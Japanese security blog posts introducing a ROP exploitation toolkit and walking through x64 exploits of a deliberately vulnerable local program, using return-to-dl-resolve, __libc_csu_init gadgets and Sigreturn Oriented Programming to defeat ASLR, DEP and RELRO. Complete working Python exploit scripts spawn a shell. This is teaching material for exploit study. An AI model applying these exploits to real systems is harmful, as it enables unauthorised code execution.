roputilsを作った

主にReturn-oriented Programmingを楽に行うためのツールキットを作った。 pwntoolszioなどのCTFフレームワークを参考にしており、機能もかなり近いものになっている。 また、CLIツールとしてchecksec.shpattern_create.rb、pattern_offset.rb相当の機能をクローンした。

これを使うと、「x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる」のコードは次のように書ける。

from roputils import *

fpath = sys.argv[1]
offset = int(sys.argv[2])

rop = ROP(fpath)
addr_stage = rop.section('.bss') + 0x800

buf = rop.fill(offset)
buf += rop.call_chain_plt(
    ['write', 1, rop.got()+8, 8],
    ['read', 0, addr_stage, 400]
)
buf += rop.pivot(addr_stage)

p = Proc(rop.fpath)
p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))
addr_link_map = p.read_p64()
addr_dt_debug = addr_link_map + 0x1c8

buf = p64(rop.gadget('ret'))
buf += rop.call_chain_ptr(
    [rop.got('read'), 0, addr_dt_debug, 8],
    [addr_stage, addr_stage + 295]
)
buf += rop.dl_resolve(addr_stage + len(buf), 'system')
print "[+] offset to string: %d" % len(buf)
buf += rop.string('/bin/sh')
buf += rop.fill(400, buf)

p.write(buf)
p.write_p64(0)
p.interact()

設計方針は以下。

  • 過度の抽象化、カプセル化を避ける。初期化後に内部状態の更新を行うものは、ベースアドレスなど最低限のもののみとする。
  • デフォルト引数を活用する。たとえば、ELF.got(self, name=None)はnameを指定したときその関数のGOTアドレス、指定しないときGOTセクションの先頭アドレスを返す。また、p32(x)p64(x)関数はxがintの場合はpack、strの場合はunpackする。

roputilsと名前をつけてはいるが、必要になるときもあるのでシェルコード、format stringのクラスも実装した。 必要に応じて改良していきたい。

関連リンク

glibcの "/bin/sh" はどこにあるのか

libcライブラリをstringsすると、"/bin/sh" などのパス文字列を見つけることができる。

$ strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep " /"
 ...
 161d98 /bin/sh
 161ee4 /tmp
 162bf8 /dev/tty
 162c3d /proc/self/maps
 1633bf /etc/localtime
 ...

これらの定義は、主に次のファイルにある。

/* Default search path. */
#define _PATH_DEFPATH   "/usr/bin:/bin"
/* All standard utilities path. */
#define _PATH_STDPATH \
        "/usr/bin:/bin:/usr/sbin:/sbin:/usr/contrib/bin:/usr/old/bin"

#define _PATH_BSHELL    "/bin/sh"
#define _PATH_CONSOLE   "/dev/console"
#define _PATH_CSHELL    "/bin/csh"
#define _PATH_DEVDB     "/var/run/dev.db"
#define _PATH_DEVNULL   "/dev/null"
#define _PATH_DRUM      "/dev/drum"
#define _PATH_GSHADOW   "/etc/gshadow"
#define _PATH_KMEM      "/dev/kmem"
#define _PATH_MAILDIR   "/var/mail"
#define _PATH_LASTLOG   "/var/log/lastlog"
#define _PATH_MAN       "/usr/man"
#define _PATH_MEM       "/dev/mem"
#define _PATH_MNTTAB    "/etc/fstab"
#define _PATH_MOUNTED   "/var/run/mtab"
#define _PATH_NOLOGIN   "/etc/nologin"
#define _PATH_PRESERVE  "/var/preserve"
#define _PATH_RWHODIR   "/var/rwho"
#define _PATH_SENDMAIL  "/usr/sbin/sendmail"
#define _PATH_SHADOW    "/etc/shadow"
#define _PATH_SHELLS    "/etc/shells"
#define _PATH_TTY       "/dev/tty"
#define _PATH_UNIX      "/vmunix"
#define _PATH_UTMP      "/var/run/utmp"
#define _PATH_UTMP_DB   "/var/run/utmp.db"
#define _PATH_VI        "/usr/bin/vi"
#define _PATH_WTMP      "/var/log/wtmp"

/* Provide trailing slash, since mostly used for building pathnames. */
#define _PATH_DEV       "/dev/"
#define _PATH_TMP       "/tmp/"
#define _PATH_VARDB     "/var/db/"
#define _PATH_VARRUN    "/var/run/"
#define _PATH_VARTMP    "/var/tmp/"

_PATH_VIが興味深いが、定義されているだけで実際には使われておらず、バイナリ中にも存在しないようである。

x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる

x64環境においてROPを行うには複数レジスタをセットする必要があるが、glibcの__libc_csu_init関数を利用すると任意の3引数関数が呼び出せることが知られている。 ここでは、ROP stager + Return-to-resolveに加えてこれを利用することで、ASLR+DEPが有効な条件下でlibcバイナリに依存しない形でのシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるプログラムを書いてみる。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、DEP有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

__libc_csu_initを使ったレジスタセットおよび関数呼び出し

コンパイルした実行ファイルをディスアセンブルすると、__libc_csu_init関数の中に次のようなコードが存在することがわかる。

$ objdump -d a.out
00000000004005a0 <__libc_csu_init>:
  ...
  4005f0:       4c 89 fa                mov    rdx,r15
  4005f3:       4c 89 f6                mov    rsi,r14
  4005f6:       44 89 ef                mov    edi,r13d
  4005f9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  4005fd:       48 83 c3 01             add    rbx,0x1
  400601:       48 39 eb                cmp    rbx,rbp
  400604:       75 ea                   jne    4005f0 <__libc_csu_init+0x50>
  400606:       48 8b 5c 24 08          mov    rbx,QWORD PTR [rsp+0x8]
  40060b:       48 8b 6c 24 10          mov    rbp,QWORD PTR [rsp+0x10]
  400610:       4c 8b 64 24 18          mov    r12,QWORD PTR [rsp+0x18]
  400615:       4c 8b 6c 24 20          mov    r13,QWORD PTR [rsp+0x20]
  40061a:       4c 8b 74 24 28          mov    r14,QWORD PTR [rsp+0x28]
  40061f:       4c 8b 7c 24 30          mov    r15,QWORD PTR [rsp+0x30]
  400624:       48 83 c4 38             add    rsp,0x38
  400628:       c3                      ret

x64環境では関数を呼び出す前に引数をレジスタにセットする必要がある。 そこで、上のコードを利用すると、次のようにして任意の3引数関数を繰り返し呼ぶことができる。

  1. 0x400606にreturnして、スタックからrbx、rbp、r12、r13、r14、r15の各レジスタに値をセットする
  2. 続けて0x4005f0にreturnして、r13d、r14、r15レジスタの値をedi、rsi、rdxレジスタに移した上で、r12+rbx*8に置かれているアドレスを関数としてcallする
  3. rbp == rbx+1となるようにレジスタを調整しておくことで、jne命令によるジャンプを通過する
  4. 再び0x400606にたどりつくので、スタックから各レジスタに値をセットした上で2に戻る

ここで、rbxレジスタにセットする値として0を選べば、call命令はcall [r12]とできる。 すなわち、rbx == 0rbp == 1とした上で、r12レジスタに関数のアドレスが入っているアドレス(ポインタ)、r13 (=edi)、r14 (=rsi)、r15 (=rdx) レジスタに関数の引数をセットすることで、任意の3引数関数を呼ぶことができる。 特に、r12レジスタにセットするアドレスとしてGOTテーブルを利用すると、PLTにある任意のライブラリ関数を呼び出すことができる。 なお、このgadgetではrdxレジスタまでしかセットできないため、sendやrecvなど4引数以上の関数を呼び出したい場合には別途rcx、r8、r9レジスタに値をセットしておく必要がある。

__libc_csu_init関数のソースコードは次のようになっている。

void
__libc_csu_init (int argc, char **argv, char **envp)
{
  /* For dynamically linked executables the preinit array is executed by
     the dynamic linker (before initializing any shared object).  */

#ifndef LIBC_NONSHARED
  (snip)
#endif

  _init ();

  const size_t size = __init_array_end - __init_array_start;
  for (size_t i = 0; i < size; i++)
      (*__init_array_start [i]) (argc, argv, envp);
}

ディスアセンブル結果と比べてみると、__init_array_start[i]を呼ぶ箇所の前後で対応するレジスタの操作が行われていることがわかる。

エクスプロイトコードを書いてみる

最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。

$ readelf -S a.out > dump.txt

$ objdump -d a.out >> dump.txt

上で出力した情報をもとに、__libc_csu_init gadgetsを利用したエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x00000000004002b8  # readelf -S a.out
addr_dynstr = 0x0000000000400330  # readelf -S a.out
addr_relplt = 0x00000000004003b8  # readelf -S a.out
addr_plt = 0x0000000000400420     # readelf -S a.out
addr_got = 0x0000000000600fe8     # readelf -S a.out
addr_bss = 0x0000000000601028     # readelf -S a.out
addr_got_read = 0x601008          # objdump -d -j.plt a.out
addr_got_write = 0x601000         # objdump -d -j.plt a.out

addr_set_regs = 0x400606          # pop junk/rbx/rbp/r12/r13/r14/r15; ret
addr_call_r12 = 0x4005f0          # mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8];
                                  # -> add rbx, 1; cmp rbx, rbp; jne addr_call_r12; jmp addr_set_regs
addr_leave_ret = 0x400595         # leave; ret
addr_ret = 0x400596               # ret

stacksize = 0x800
base_stage = addr_bss + stacksize

buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_set_regs)
buf1 += 'AAAAAAAA'
buf1 += struct.pack('<Q', 0)               # rbx == 0
buf1 += struct.pack('<Q', 1)               # rbp == rbx+1
buf1 += struct.pack('<Q', addr_got_write)  # r12 -> call [r12]
buf1 += struct.pack('<Q', 1)               # r13 -> edi
buf1 += struct.pack('<Q', addr_got+8)      # r14 -> rsi
buf1 += struct.pack('<Q', 8)               # r15 -> rdx
buf1 += struct.pack('<Q', addr_call_r12)
buf1 += 'AAAAAAAA'
buf1 += struct.pack('<Q', 0)               # rbx == 0
buf1 += struct.pack('<Q', 1)               # rbp == rbx+1
buf1 += struct.pack('<Q', addr_got_read)   # r12 -> call [r12]
buf1 += struct.pack('<Q', 0)               # r13 -> edi
buf1 += struct.pack('<Q', base_stage)      # r14 -> rsi
buf1 += struct.pack('<Q', 400)             # r15 -> rdx
buf1 += struct.pack('<Q', addr_call_r12)
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'                         # rbx
buf1 += struct.pack('<Q', base_stage)      # rbp
buf1 += 'AAAAAAAA'                         # r12
buf1 += 'AAAAAAAA'                         # r13
buf1 += 'AAAAAAAA'                         # r14
buf1 += 'AAAAAAAA'                         # r15
buf1 += struct.pack('<Q', addr_leave_ret)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))
addr_link_map = struct.unpack('<Q', p.stdout.read(8))[0]
print "[+] addr_link_map = %x" % addr_link_map
addr_dt_versym = addr_link_map + 0x1c8

addr_reloc = base_stage + 8*28
align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18)
addr_reloc += align_reloc
addr_sym = addr_reloc + 24
align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += align_dynsym
addr_symstr = addr_sym + 24
addr_cmd = addr_symstr + 7

reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7
st_name = addr_symstr - addr_dynstr

buf2 = 'AAAAAAAA'
buf2 += struct.pack('<Q', addr_set_regs)
buf2 += 'AAAAAAAA'
buf2 += struct.pack('<Q', 0)                  # rbx == 0
buf2 += struct.pack('<Q', 1)                  # rbp == rbx+1
buf2 += struct.pack('<Q', addr_got_read)      # r12 -> call [r12]
buf2 += struct.pack('<Q', 0)                  # r13 -> edi
buf2 += struct.pack('<Q', addr_dt_versym)     # r14 -> rsi
buf2 += struct.pack('<Q', 8)                  # r15 -> rdx
buf2 += struct.pack('<Q', addr_call_r12)
buf2 += struct.pack('<Q', addr_ret)           # [r12]
buf2 += struct.pack('<Q', 0)                  # rbx == 0
buf2 += struct.pack('<Q', 1)                  # rbp == rbx+1
buf2 += struct.pack('<Q', base_stage + 8*10)  # r12 -> call [r12]
buf2 += struct.pack('<Q', addr_cmd)           # r13 -> edi
buf2 += 'AAAAAAAA'                            # r14 -> rsi
buf2 += 'AAAAAAAA'                            # r15 -> rdx
buf2 += struct.pack('<Q', addr_call_r12)
buf2 += 'A' * 0x38                            # junk/rbx/rbp/r12/r13/r14/r15
buf2 += struct.pack('<Q', addr_plt)
buf2 += struct.pack('<Q', reloc_offset)
buf2 += 'AAAAAAAA'
buf2 += 'A' * align_reloc
buf2 += struct.pack('<Q', addr_got_read)      # Elf64_Rela
buf2 += struct.pack('<Q', r_info)
buf2 += struct.pack('<Q', 0)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)            # Elf64_Sym
buf2 += struct.pack('<I', 0x12)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', 0)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (400-len(buf2))

p.stdin.write(buf2)
p.stdin.write(struct.pack('<Q', 0))
p.wait()

このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。

  1. __libc_csu_init gadgetsを使いwrite関数を呼び出し、GOTセクションにあるlink_map構造体のアドレスを書き出す
  2. さらにread関数を呼び出しデータを読み込んだ後、leave; ret gadgetによりstack pivotを行う
  3. __libc_csu_init gadgetsを使いread関数を呼び出し、x64環境におけるReturn-to-dl-resolveの下準備としてl->l_info[VERSYMIDX (DT_VERSYM)]にNULLをセットする
  4. 適当な引数をセットした上で、Return-to-dl-resolveを行う

引数をセットして実行してみる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x06\x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAA(\x18`\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x95\x05@\x00\x00\x00\x00\x00'
[+] addr_link_map = 7f39f26fe2c8
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

__libc_csu_init gadgetsにより、ASLRおよびDEPが有効なx64環境で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。

関連リンク

x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる

x64環境では、x86環境とは異なり関数の引数はレジスタにセットされる。 このため、ROPにおいてはpop rdi; retなどのgadgetを使い、複数のレジスタに値をセットしてから関数にジャンプする必要がある。 また、x64ではx86に存在したpushad、popad命令がなくなったため、popad命令を利用して複数のレジスタの値を一度にセットすることはできない。 しかし、sigreturnシステムコールを使うと、popad命令のようにスタックに置いた値を複数のレジスタに一度にセットすることができる。 これを利用すると任意のシステムコールを呼ぶことができ、これを連続して行う手法はSigreturn Oriented Programmingとして知られている。 ここでは、x64環境かつASLR+DEP+RELROが有効な条件下において、Sigreturn Oriented Programmingを使ったシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

sigreturnシステムコールによる任意のシステムコール実行

シグナルハンドラはユーザが実装するものであるため、その実体となる機械語はメモリ上ではユーザ空間に配置される。 したがって、ユーザ空間のプロセスにシグナルが送られたときは、ユーザ空間からカーネル空間に移った後、再度ユーザ空間に戻りシグナルハンドラが実行されることになる。 しかし、シグナルハンドラの実行が終わったとき、元の実行状態に戻るには何かしらの工夫を行う必要がある。 これは、カーネル空間にはユーザ空間での実行状態は記録されないためである。

Linuxでは、シグナルを受け取ったときの実行状態をユーザ空間のスタックに退避させ、シグナルハンドラの実行が終わったタイミングでこれを復元することにより元の実行状態に戻るということが行われる。 この復元は、sigreturnシステムコールを実行することにより行われる。

x64環境において、システムコールテーブルからsigreturnを探すと次のようになっている。

 24 15      64      rt_sigreturn            stub_rt_sigreturn

sigreturnシステムコールのシステムコール番号は15であり、strb_rt_sigreturnにあるコードが実行されることがわかる。 この実装について調べると、次のようになっている。

 34 #define stub_rt_sigreturn sys_rt_sigreturn
565 asmlinkage long sys_rt_sigreturn(void)
566 {
567         struct pt_regs *regs = current_pt_regs();
568         struct rt_sigframe __user *frame;
569         unsigned long ax;
570         sigset_t set;
571 
572         frame = (struct rt_sigframe __user *)(regs->sp - sizeof(long));
573         if (!access_ok(VERIFY_READ, frame, sizeof(*frame)))
574                 goto badframe;
575         if (__copy_from_user(&set, &frame->uc.uc_sigmask, sizeof(set)))
576                 goto badframe;
577 
578         set_current_blocked(&set);
579 
580         if (restore_sigcontext(regs, &frame->uc.uc_mcontext, &ax))
581                 goto badframe;
582 
583         if (restore_altstack(&frame->uc.uc_stack))
584                 goto badframe;
585 
586         return ax;
587 
588 badframe:
589         signal_fault(regs, frame, "rt_sigreturn");
590         return 0;
591 }

sys_rt_sigreturn関数では、スタックに置かれたrt_sigframe構造体を参照し、その中にあるucメンバからレジスタの値を復元するなどしている。 ここで、x64環境におけるrt_sigframe構造体の定義をまとめると次のようになる。

 63 struct rt_sigframe {
 64         char __user *pretcode;
 65         struct ucontext uc;
 66         struct siginfo info;
 67         /* fp state follows here */
 68 };
  4 struct ucontext {
  5         unsigned long     uc_flags;
  6         struct ucontext  *uc_link;
  7         stack_t           uc_stack;
  8         struct sigcontext uc_mcontext;
  9         sigset_t          uc_sigmask;   /* mask last for extensibility */
 10 };
127 typedef struct sigaltstack {
128         void __user *ss_sp;
129         int ss_flags;
130         size_t ss_size;
131 } stack_t;
160 struct sigcontext {
161         __u64 r8;
162         __u64 r9;
163         __u64 r10;
164         __u64 r11;
165         __u64 r12;
166         __u64 r13;
167         __u64 r14;
168         __u64 r15;
169         __u64 rdi;
170         __u64 rsi;
171         __u64 rbp;
172         __u64 rbx;
173         __u64 rdx;
174         __u64 rax;
175         __u64 rcx;
176         __u64 rsp;
177         __u64 rip;
178         __u64 eflags;           /* RFLAGS */
179         __u16 cs;
180         __u16 gs;
181         __u16 fs;
182         __u16 __pad0;
183         __u64 err;
184         __u64 trapno;
185         __u64 oldmask;
186         __u64 cr2;
187         struct _fpstate __user *fpstate;        /* zero when no FPU context */
188 #ifdef __ILP32__
189         __u32 __fpstate_pad;
190 #endif
191         __u64 reserved1[8];
192 };
 16 typedef unsigned long sigset_t;

sigreturnシステムコールが呼ばれたときのrspがrt_sigframe構造体の中のucontext構造体の位置にあることに注意し、スタックの状態をまとめると次のようになる。

uc_flags      <- rsp
&uc_link
&ss_sp        (stack_t)
ss_flags         |
ss_size          v
r8            (struct sigcontext)
r9               |
r10              |
r11              |
r12              |
r13              |
r14              |
r15              |
rdi              |
rsi              |
rbp              |
rbx              |
rdx              |
rax              |
rcx              |
rsp              |
rip              |
eflags           |
cs/gs/fs         |
err              |
trapno           |
oldmask          |
cr2              |
&fpstate         |
reserved1[0]     |
reserved1[1]     |
reserved1[2]     |
reserved1[3]     |
reserved1[4]     |
reserved1[5]     |
reserved1[6]     |
reserved1[7]     v
uc_sigmask    (sigset_t)

sigreturnシステムコールが呼ばれると、スタックに置かれたucontext構造体の値からレジスタの値などが復元される。 そして、ripから実行が再開される。

これを利用し、スタックに上のようなフレームを置いた状態でsigreturnシステムコールを呼ぶと、任意のシステムコールを実行することができる。 具体的には、raxレジスタシステムコール番号、rdi、rsi、rdx、rcx、r8、r9レジスタシステムコールの引数、ripにsyscall; retとなるROP gadgetのアドレス、rspにstack pivotするアドレスを置く。 ここで、csレジスタは0x33となるようにする必要がある。 また、&fpstateにはFPU(浮動小数点数演算装置)の状態を表す_fpstate構造体のアドレスを置く必要があるが、NULLを置くこともできる。 NULLを置いた場合は、FPUレジスタは変更されない。

この方法を行うにあたっての条件は次のようになる。

  • スタックにNULL文字を置けること
  • raxに15をセットできること、あるいはpop rax; ret (58 C3) などが置かれた実行可能領域のアドレス
  • syscall; ret (0F 05 C3) が置かれた実行可能領域のアドレス

Sigreturn Oriented Programmingによるシステムコールの連続実行

上の方法を使うと任意のシステムコールを実行することができるが、raxが15となるように調整できれば再びシステムコールを実行することができる。 たとえば、x64環境でのreadシステムコールを利用した次のような方法がある。

  1. sigreturnシステムコールを使い、read(fd, fixed_writable_addr, 306)を実行する。
  2. readの戻り値としてraxレジスタに306がセットされる。これはsyncfsのシステムコール番号である。
  3. rspsyscall; retを置いておくことで、syncfs(fd)を実行する。
  4. syncfsの戻り値としてraxレジスタに0がセットされる。これはreadのシステムコール番号である。
  5. さらにrspsyscall; retを置いておくことで、read(fd, fixed_writable_addr, 306)を再び実行する。
  6. 送り込む文字を15バイトとすることで、raxレジスタに15をセットする。これはsigreturnのシステムコール番号である。
  7. sigreturnを使い、任意のシステムコールを実行する。

fixed_writable_addrは固定の書き込み可能アドレスであり、実行ファイルのbssセグメントのアドレスなどが利用できる。

脆弱性のあるプログラムを用意する

スタックバッファオーバーフローを起こせるコードを書いてみる。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    /* pop rax; ret; syscall; ret; */
    char chaet[] = "\x58\xc3\x90\x90\x0f\x05\xc3";
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。 また、このコードではROP gadgetとしてpop rax; retsyscall; retを意図的に埋め込んでいる。 実際は、実行ファイルのバイナリ中にこれらのgadgetがないか探す必要がある。

ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

エクスプロイトコードを書いてみる

上で説明した内容をもとに、Sigreturn Oriented Programmingを行うエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_bss = 0x0000000000601028        # readelf -S a.out

addr_pop_rax = 0x0040054f            # 0x0040054f: pop rax ; ret  ;  (1 found)
addr_syscall = 0x00400556            # 0x00400556: syscall  ; ret  ;  (1 found)
# addr_syscall = 0xffffffffff600007

stack_size = 0x800
base_stage = addr_bss + stack_size

buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_pop_rax)
buf1 += struct.pack('<Q', 15)
buf1 += struct.pack('<Q', addr_syscall)
buf1 += 'AAAAAAAA' * 5
buf1 += struct.pack('<Q', 0) * 8              # r8-r15
buf1 += struct.pack('<Q', 0)                  # rdi
buf1 += struct.pack('<Q', base_stage)         # rsi
buf1 += struct.pack('<Q', 0)                  # rbp
buf1 += struct.pack('<Q', 0)                  # rbx
buf1 += struct.pack('<Q', 306)                # rdx
buf1 += struct.pack('<Q', 0)                  # rax
buf1 += struct.pack('<Q', 0)                  # rcx
buf1 += struct.pack('<Q', base_stage)         # rsp
buf1 += struct.pack('<Q', addr_syscall)       # rip
buf1 += struct.pack('<Q', 0)                  # eflags
buf1 += struct.pack('<Q', 0x33)               # csgsfs
buf1 += 'AAAAAAAA' * 4
buf1 += struct.pack('<Q', 0)                  # &fpstate

buf2 = struct.pack('<Q', addr_syscall)
buf2 += struct.pack('<Q', addr_syscall)
buf2 += struct.pack('<Q', addr_syscall)
buf2 += 'AAAAAAAA' * 5
buf2 += struct.pack('<Q', 0) * 8              # r8-r15
buf2 += struct.pack('<Q', base_stage + 8*34)  # rdi
buf2 += struct.pack('<Q', base_stage + 8*32)  # rsi
buf2 += struct.pack('<Q', 0)                  # rbp
buf2 += struct.pack('<Q', 0)                  # rbx
buf2 += struct.pack('<Q', 0)                  # rdx
buf2 += struct.pack('<Q', 59)                 # rax
buf2 += struct.pack('<Q', 0)                  # rcx
buf2 += struct.pack('<Q', base_stage)         # rsp
buf2 += struct.pack('<Q', addr_syscall)       # rip
buf2 += struct.pack('<Q', 0)                  # eflags
buf2 += struct.pack('<Q', 0x33)               # csgsfs
buf2 += 'AAAAAAAA' * 4
buf2 += struct.pack('<Q', 0)                  # &fpstate
buf2 += struct.pack('<Q', base_stage + 8*34)
buf2 += struct.pack('<Q', 0)
buf2 += '/bin/sh\x00'
buf2 += 'A' * (306-len(buf2))

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

p.stdin.write(buf2)
p.stdin.write('A' * 15)
import time
time.sleep(1e-3)
p.stdin.write('exec <&2 >&2\n')

p.wait()

このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。

  1. pop rax; retによりraxに15をセット
  2. sigreturnシステムコール(15)を使い、readシステムコール(0)を実行、データを306バイト読み込みstack pivotを行う
  3. syncfsシステムコール(306)を使い、raxに0をセット
  4. readシステムコール(0)を使い、データを15バイト読み込みraxに15をセット
  5. sigreturnシステムコール(15)を使い、execveシステムコール(59)を実行、シェルを起動する

ここで、括弧の中の数字はx64環境におけるシステムコール番号である。 また、2度目のreadシステムコールで15バイトのみ読み込ませるため、エクスプロイトコード側で1msのsleepを行っている。

引数をセットし実行してみる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00V\x05@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x002\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00V\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

Sigreturn Oriented Programmingにより、x64環境かつASLR+DEP+RELROが有効な条件下でシェルが起動できていることが確認できた。

なお、straceコマンドにより実行時のシステムコールをトレースすると次のようになる。 ここでは-fオプションを使い、子プロセスについてもトレースを行う。

$ strace -f python exploit.py 100 >/dev/null
execve("/usr/bin/python", ["python", "exploit.py", "100"], [/* 18 vars */]) = 0
...
clone(Process 14096 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f9ae8f789d0) = 14096
...
[pid 14096] execve("./a.out", ["./a.out"], [/* 18 vars */] <unfinished ...>
...
[pid 14096] rt_sigreturn(0x1)           = 0
[pid 14096] read(0, "V\5@\0\0\0\0\0V\5@\0\0\0\0\0V\5@\0\0\0\0\0AAAAAAAA"..., 306) = 306
[pid 14096] syscall_306(0, 0x601828, 0x132, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) = 0
[pid 14096] read(0, "AAAAAAAAAAAAAAA", 306) = 15
[pid 14096] rt_sigreturn(0)             = 59
[pid 14096] execve("/bin/sh", ["/bin/sh"], [/* 0 vars */] <unfinished ...>
...

上の結果から、指定した通りの順番でシステムコールが実行されていることが確認できる。

vsyscallページのROP gadgetについて

